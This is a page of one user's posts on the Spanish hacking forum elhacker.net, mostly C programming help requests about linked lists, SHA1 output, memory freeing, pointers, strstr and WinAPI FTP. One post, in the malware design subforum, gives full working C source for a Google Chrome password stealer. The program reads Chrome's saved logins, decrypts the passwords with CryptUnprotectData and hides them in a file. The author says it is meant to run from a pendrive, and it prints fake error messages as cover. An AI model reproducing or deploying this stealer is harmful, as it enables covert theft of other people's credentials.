elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


  Mostrar Temas
Páginas: 1 [2] 3 4 5 6 7
11  Programación / Programación C/C++ / Chat con listas en C en: 20 Junio 2016, 14:35 pm
Hola.

Estoy haciendo un chat con listas en C y tengo algunos problemas a la hora de insertar los datos y tal, me da violaciones de segmento cuando quiero acceder a los datos y tal.

La estructura es esta:
Código
  1. typedef struct _ConnectedHosts {
  2.  int socket;
  3.  char *Alias;
  4.  char *ipAddr;
  5.  struct _ConnectedHosts *Next;
  6. } ConnectedHosts, *PConnectedHosts;

Para inicializar una estructura o crearla, utilizo esta funcion:
Código
  1. PConnectedHosts CreateClient(int socket) {
  2.  int addrlen;
  3.  char *ipAddr = (char *)calloc(INET_ADDRSTRLEN, sizeof(char));
  4.  struct sockaddr_in ConnectedAddr;
  5.  struct _ConnectedHosts *cHosts = (PConnectedHosts)malloc(sizeof(ConnectedHosts));
  6.  
  7.  addrlen = sizeof(ConnectedAddr);
  8.  if(getpeername(socket, (struct sockaddr *)&ConnectedAddr, &addrlen) < 0) {
  9.    return NULL;
  10.  }
  11.  
  12.  inet_ntop(AF_INET, &ConnectedAddr.sin_addr, ipAddr, INET_ADDRSTRLEN);
  13.  
  14.  cHosts->socket = socket;
  15.  cHosts->ipAddr = ipAddr;
  16.  cHosts->Alias = (char *)calloc(ALIASLEN, sizeof(char));
  17.  cHosts->Next = NULL;
  18.  
  19.  return cHosts;
  20. }

Para añadir una estructura nueva a la lista uso esta otra:
Código
  1. void AddClient(PConnectedHosts RemoteAddr, PConnectedHosts MainAddr) {
  2.  PConnectedHosts aux = MainAddr;
  3.  
  4.  if(MainAddr == NULL) {
  5.    MainAddr = RemoteAddr;
  6.  }
  7.  else {
  8.    while(aux->Next != NULL) {
  9.      aux = aux->Next;
  10.    }
  11.  
  12.    aux->Next = RemoteAddr;
  13.  }
  14. }

Para eliminar alguna estructura de la lista uso esta:
Código
  1. int DeleteClient(PConnectedHosts DeleteAddr, PConnectedHosts MainAddr) {
  2.  if(MainAddr == NULL || DeleteAddr == NULL) {
  3.    return 1;
  4.  }
  5.  
  6.  PConnectedHosts bAux;
  7.  PConnectedHosts aux = MainAddr;
  8.  PConnectedHosts aAux;
  9.  
  10.  while(aux != DeleteAddr) {
  11.    bAux = aux;
  12.    aux = aux->Next;
  13.    aAux = aux->Next;
  14.  }
  15.  
  16.  close(aux->socket);
  17.  free(aux->Alias);
  18.  free(aux->ipAddr);
  19.  free(aux);
  20.  
  21.  bAux->Next = aAux;
  22.  return 0;
  23. }

Y luego utilizo esta funcion para saber qué cliente ha enviado los datos (ya que se trata de un chat):
Código
  1. PConnectedHosts whatsClient(int socket, PConnectedHosts MainAddr) {
  2.  PConnectedHosts aux = MainAddr;
  3.  
  4.  if(aux != NULL) {
  5.    while(aux->Next != NULL && aux->socket != socket) {
  6.      aux = aux->Next;
  7.    }
  8.  }
  9.  
  10.  return aux;
  11. }

Y aquí está el codigo del servidor:
Código
  1. #include "WDestChat.h"
  2.  
  3. int main() {
  4.  int i, aux, max, cSocket, lSocket;
  5.  char Buffer[1025];
  6.  struct sockaddr_in ServerAddr, ClientAddr;
  7.  PConnectedHosts auxHosts = NULL;
  8.  PConnectedHosts cHosts = NULL;
  9.  fd_set master, temp;
  10.  
  11.  lSocket = CreateListenSocket(PORT, MAX, &ServerAddr);
  12.  if(lSocket < 0) {
  13.    PrintError("Error creating socket");
  14.    return 1;
  15.  }
  16.  
  17.  max = lSocket + 1;
  18.  FD_SET(lSocket, &temp);
  19.  
  20.  while(1) {
  21.    master = temp;
  22.    if(select(max, &master, NULL, NULL, NULL) < 0) {
  23.      PrintError("Error receiving information");
  24.      return 1;
  25.    }
  26.  
  27.    for(i = 0; i <= max; i++) {
  28.      if(FD_ISSET(i, &master)) {
  29.        if(i == lSocket) {
  30.          cSocket = AcceptClient(lSocket, &ClientAddr);
  31.          if(cSocket < 0) {
  32.            PrintError("Error accepting client");
  33.          }
  34.          else {
  35.            if(max < cSocket) {
  36.              max = cSocket + 1;
  37.            }
  38.            /* Creating client list */
  39.            auxHosts = CreateClient(cSocket);
  40.            if(auxHosts == NULL) {
  41.              PrintError("Error creating client list");
  42.            }
  43.            /* receiving the alias */
  44.            recv(cSocket, auxHosts->Alias, 15, 0);
  45.            /* adding client to structure */
  46.            AddClient(auxHosts, cHosts);
  47.            /* adding client to socket array */
  48.            FD_SET(cSocket, &temp);
  49.  
  50.            printf("New client connected\n");
  51.          }
  52.        }
  53.        else {
  54.          aux = recv(i, Buffer, 1024, 0);
  55.          if(aux == 0) {
  56.            printf("%d socket was closed the connection\n", i);
  57.            FD_CLR(i, &temp);
  58.            auxHosts = whatsClient(i, cHosts);
  59.            DeleteClient(auxHosts, cHosts);
  60.          }
  61.          else if(aux > 0) {
  62.            printf("%s\n", Buffer);
  63.            for(aux = 0; aux < max; aux++) {
  64.              if(aux == i || aux == lSocket) {
  65.                continue;
  66.              }
  67.              else {
  68.                auxHosts = whatsClient(aux, cHosts);
  69.                send(aux, auxHosts->Alias, 15, 0);
  70.                send(aux, Buffer, 1024, 0);
  71.              }
  72.            }
  73.            memset(Buffer, '\0', sizeof(Buffer));
  74.          }
  75.        }
  76.      }
  77.    }
  78.  }
  79.  close(lSocket);
  80.  return 0;
  81. }

Segun GDB da error en la línea 69, es decir, al intentar acceder a la posicion de memoria que contiene el alias. Me gustaría saber qué estoy haciendo mal. Al parecer a la hora de acceder a los datos accedo a posiciones erróneas.
12  Programación / Programación C/C++ / Cifrado hash SHA1 en C en: 29 Mayo 2016, 17:32 pm
Hola.
Estoy intentando cifrar cadenas con el hash SHA1 pero me devuelve la cadena en binario, y la quiero en texto. Ejemplo:
Código
  1. #include <stdio.h>
  2. #include <openssl/sha.h>
  3.  
  4. int main() {
  5.  char *a = "hola";
  6.  size_t len = sizeof(a);
  7.  unsigned char hash[40];
  8.  
  9.  SHA1(a, len, hash);
  10.  printf("%s\n", hash);
  11.  
  12.  return 0;
  13. }

Y me devuelve esto:
Código:
�X�{�]�Μ(`x�;6�

Gracias de antemano
13  Programación / Programación C/C++ / Problema al liberar memoria con free() en: 21 Mayo 2016, 04:19 am
Hola.
Estoy haciendo una shell y de momento va bien xd el problema surge cuando quiero liberar la variable que contiene los argumentos. Adjunto codigo:
Código
  1. char **GetCommand(int maxLength) { /*Recibe un comando*/
  2.  int argc, secArgc;
  3.  char *stdBuffer = (char *)malloc(sizeof(char) * maxLength);
  4.  char **stdCommand = (char **)malloc(sizeof(char *) * (maxLength / 2));
  5.  
  6.  argc = secArgc = 0;
  7.  stdCommand[argc] = (char *)malloc(sizeof(char) * (maxLength / 4));
  8.  
  9.  printf("%s ", COMMAND_PROMPT);
  10.  fgets(stdBuffer, maxLength, stdin);
  11.  stdBuffer[strlen(stdBuffer) - 1] = '\0';
  12.  
  13.  while(*stdBuffer) {
  14.    if(*stdBuffer == '\n') {
  15.      break;
  16.    }
  17.  
  18.    if(*stdBuffer == ' ') {
  19.      secArgc = 0;
  20.      stdCommand[++argc] = (char *)malloc(sizeof(char) * (maxLength / 4));
  21.    }
  22.  
  23.    stdCommand[argc][secArgc++] = *stdBuffer++;
  24.  }
  25.  stdBuffer = NULL;
  26.  free(stdBuffer);
  27.  
  28. return stdCommand;
  29. }

Con esta función se recibe un comando. Y este sería el main:
Código
  1. char **stdLine = NULL;
  2.  
  3.  while(stdLine = GetCommand(1024)) { /*Mientras se reciba un comando*/
  4.    printf("%s\n", stdLine[0]);
  5.  
  6.    switch(comExecute((const char **)stdLine)) {
  7.      case 0: break;
  8.      case 1: perror("Can\'t execute these command\n");
  9.      case EXIT_COMMAND: exit = 1;
  10.    }
  11.    if(exit) { /*Si ha escrito 'exit'*/
  12.      break;
  13.    }
  14.  
  15.    free(stdLine);
  16.  }

El problema surge con el free(stdLine); que a la hora de imprimirlo se ve que se llena de basura o algo así, porque cuando se ejecuta el printf del main me saca carácteres raros al final de cadena que impiden que sea bien leida. He pensado en poner stdLine = NULL; pero lo que quiero es liberar memoria. ¿Sería lo mismo poner free(stdLine) que stdLine = NULL? Yo creo que no, pero como no me dedico a la programación profesionalmente, sino más por afición, pues no tengo mucha idea.

Gracias de antemano.
14  Seguridad Informática / Análisis y Diseño de Malware / [C] Stealer Google Chrome en: 30 Marzo 2016, 19:42 pm
A raíz de este hilo http://foro.elhacker.net/analisis_y_diseno_de_malware/asm_stealer_google_chrome-t447125.0.html decidí pasar el código a C para que me pareciese más familiar, y además "mejorarlo" un poco.

El hecho en ASM por Fary depende de la librería sqlite3.dll.

(EDITO)
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4. #include "sqlite3.c"
  5.  
  6. #define AUTHOR "Mester"
  7.  
  8. char CurUser[40];
  9.  
  10. void ChromeDirectory(char *Disk, char *cDir)
  11. {
  12.  DWORD I = 40;
  13.  
  14.  GetUserName(CurUser, &I);
  15.  sprintf(cDir, "%sUsers\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Disk, CurUser);
  16. }
  17.  
  18. int main()
  19. {
  20.  int Write = 1;
  21.  char *Query = "SELECT origin_url, username_value, password_value FROM logins";
  22.  char *cDir = (char *)malloc(sizeof(char) * 200);
  23.  const char *cData = (char *)malloc(sizeof(char) * 140);
  24.  const char *Bar = "-----------------------------------";
  25.  FILE *sf;
  26.  DATA_BLOB DataIn, DataOut;
  27.  sqlite3 *DB;
  28.  sqlite3_stmt *Stmt;
  29.  
  30.  ChromeDirectory("C:\\", cDir);
  31.  if(sqlite3_open(cDir, &DB) != SQLITE_OK)
  32.  {
  33.    ChromeDirectory("D:\\", cDir);
  34.    if(sqlite3_open(cDir, &DB) != SQLITE_OK)
  35.    {
  36.      ChromeDirectory("E:\\", cDir);
  37.      if(sqlite3_open(cDir, &DB) != SQLITE_OK)
  38.      {
  39.        printf("Error 0x1%s\n", AUTHOR);
  40.        Sleep(1000);
  41.        return 1;
  42.      }
  43.    }
  44.  }
  45.  
  46.  if(sqlite3_prepare_v2(DB, Query, -1, &Stmt, 0) != SQLITE_OK)
  47.  {
  48.   printf("Error 0x2%s\n", AUTHOR);
  49.   Sleep(1000);
  50.    return 1;
  51.  }
  52.  
  53.  sf = fopen("readme", "a+");
  54.  if(sf == NULL)
  55.    Write = 0;
  56.  fprintf(sf, "%s\n%s\n\n", Bar, CurUser);
  57.  
  58.  while(sqlite3_step(Stmt) == SQLITE_ROW)
  59.  {
  60.    cData = sqlite3_column_text(Stmt, 0);
  61.    if(Write)
  62.      fprintf(sf, "URL: %s\n", cData);
  63.    else
  64.      printf("URL: %s\n", cData);
  65.  
  66.    cData = sqlite3_column_text(Stmt, 1);
  67.    if(Write)
  68.      fprintf(sf, "Username: %s\n", cData);
  69.    else
  70.      printf("Username: %s\n", cData);
  71.  
  72.    DataIn.pbData = (BYTE *)sqlite3_column_blob(Stmt, 2);
  73.    DataIn.cbData = sqlite3_column_bytes(Stmt, 2);
  74.  
  75.    CryptUnprotectData(&DataIn, 0, 0, 0, 0, 0, &DataOut);
  76.  
  77.    DataOut.pbData[DataOut.cbData] = '\0';
  78.    if(Write)
  79.      fprintf(sf, "Password: %s\n\n\n", DataOut.pbData);
  80.    else
  81.      printf("Password: %s\n\n\n", DataOut.pbData);
  82.  }
  83.  if(Write)
  84.  {
  85.    fclose(sf);
  86.    SetFileAttributes("readme", FILE_ATTRIBUTE_HIDDEN);
  87.  }
  88.  printf("Error 0x%s", AUTHOR);
  89.  return 0;
  90. }

Éste está preparado para ser ejecutado desde un pendrive. Depende del codigo de sqlite3 ya que coge las funciones del fichero.
Aquí un zip con todo:

https://drive.google.com/file/d/0Bzvog2L4FR24eDFEaUdvTDlZN2c/view?usp=sharing
15  Foros Generales / Foro Libre / 11B 3 1369 en: 5 Enero 2016, 23:14 pm
El actual enigma de internet tiene ya una segunda parte.
El vídeo que causó tanta polémica en internet, cuyo título era "muerte" en binario, ha sacado una segunda parte que está creando nuevas teorías:
http://es.gizmodo.com/segunda-parte-de-11b-3-1369-el-siniestro-puzzle-crip-1750885265
16  Programación / Programación C/C++ / Como compilar conio.h en: 3 Enero 2016, 14:53 pm
Hola.

Estaba indagando por los codigos de c.conclase.com y resulta que utilizan librerías propias de windows, como la mencionada anteriormente, conio.h. Uso como compilador Dev-C++ mediante Wine, ya que utilizo Debian. ¿Cómo puedo compilar la libreria conio.h?
He leído por internet que necesito un compilador de C que no sea GCC, MinGW o CygWin y tal, pero no sé cual xd porque también he leido que con code::blocks se puede y me dice lo mismo, que las funciones clrscr() y tal de conio.h no existen.

Se agradece de antemano.
17  Programación / Programación C/C++ / Incrementar puntero entero con ++ en vez de += en: 2 Enero 2016, 19:38 pm
Hola.

Como dice el título: ¿Cómo puedo incrementar un puntero con ++ en vez de +=1?
Por ejemplo:
Código
  1. void modificar(int *algo)
  2. {
  3.   *algo++;
  4.   printf("%d\n",*algo);
  5. }
  6. int main()
  7. {
  8.   int cosa = 5;
  9.   modificar(&cosa);
  10. return 0;
  11. }

Si escribo esto el programa me manda a la m*****. Sin embargo si lo hago así:
Código
  1. void modificar(int *algo)
  2. {
  3.   *algo+=1;
  4.   printf("%d\n",*algo);
  5. }
  6. int main()
  7. {
  8.   int cosa = 5;
  9.   modificar(&cosa);
  10. return 0;
  11. }

Me imprime un 6. ¿Esto a qué es debido? ¿Estoy incrementando mal el puntero?
18  Programación / Programación C/C++ / ¿Se puede añadir una funcion a string.h? en: 24 Diciembre 2015, 19:02 pm
Hola.

Resulta que he hecho una función que considero bastante útil para el uso popular:
Código
  1. void strssr(const char *arg /*Argumento que contiene los numeros*/,
  2.             char *s /*Puntero a since */,
  3.              char *t /*Puntero a to */,
  4.               uint8_t lim /*Limite de separacion */)
  5. {
  6.   char *str = (char *)arg;
  7.   while(*str)
  8.   {
  9.     *s = *str++;
  10.     if(*str == lim)
  11.       break;
  12.     *s++;
  13.   }
  14.   *str++;
  15.   while(*str)
  16.   {
  17.     *t = *str++;
  18.     *t++;
  19.   }
  20. }

Consiste en separar un argumento en dos a partir de una señal definida en el cuatro argumento, por ejemplo:
Código
  1. int main()
  2. {
  3.   char *ip = (char *)calloc(16,sizeof(char));
  4.   char *puerto = (char *)calloc(5,sizeof(char));
  5.   strssr("192.168.1.1:8080", ip, puerto, ':');
  6.   printf("%s\t%s\n", ip, puerto);
  7. return 0;
  8. }

Me gustaría saber si hay alguien que regule todo esto de las bibliotecas en C. ¿Tal vez el opengroup.org?
Es por el bien de la comunidad jeje.

Gracias por las respuestas.
19  Programación / Programación C/C++ / ¿Alguien puede ayudarme a entender este codigo de strstr? en: 22 Diciembre 2015, 13:55 pm
Hola. Estaba haciendo una funcion para saber si hay una palabra dentro de una cadena, y luego ví que existe la función strstr();
Código
  1. int strstr(const char *str1, const char *str2) {
  2.  char *cp = (char *) str1;
  3.  char *s1, *s2;
  4.  if (!*str2) return 0; //Que significa el (!*str2)
  5.  while (*cp) {
  6.    s1 = cp;
  7.    s2 = (char *) str2;
  8.    while (*s1 && *s2 && !(*s1 - *s2)) //Que significa (*s1 && *s2) y luego el && !(*s1 - *s2)
  9.        s1++, s2++;
  10.    if (!*s2) return 0;
  11.    cp++;
  12.  }
  13.  return 1;
  14. }
  15.  

Devuelve 0 cuando ha encontrado una palabra y 1 si no.
Me gustaría saber que significado tiene '!' ante una función y ante un puntero. Y que obtienes al hacer *s1 && *s2, ¿los comparas?

Gracias.
20  Programación / Programación C/C++ / Enumerar directorio por FTP (WinAPI) en: 9 Diciembre 2015, 15:47 pm
Hola.
Estoy haciendo un cliente de FTP para Windows y de momento me va bien a excepción de listar los archivos. Utilizo la siguiente función: https://msdn.microsoft.com/en-us/library/windows/desktop/aa384146(v=vs.85).aspx
Y la uso de esta manera:
Código
  1. ...
  2. TCHAR direct[MAX_PATH];
  3. DWORD det=MAX_PATH;
  4. WIN32_FIND_DATA met;
  5. do{//El socket es "conexion"
  6. FtpGetCurrentDirectory(conexion,direct,&det);
  7. if(FtpFindFirstFile(conexion,direct,&met,det,0)==NULL)
  8. printf("NULL\n");
  9. else
  10. printf("%s\n",met.cFileName);
  11. }while(InternetFindNextFile(conexion,(LPVOID)&met));
  12. ...
  13.  

Al ejecutar esta función solo me imprime la primera carpeta, y si vuelvo a ejecutarla me devulve NULL.

Gracias de antemano
Páginas: 1 [2] 3 4 5 6 7
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines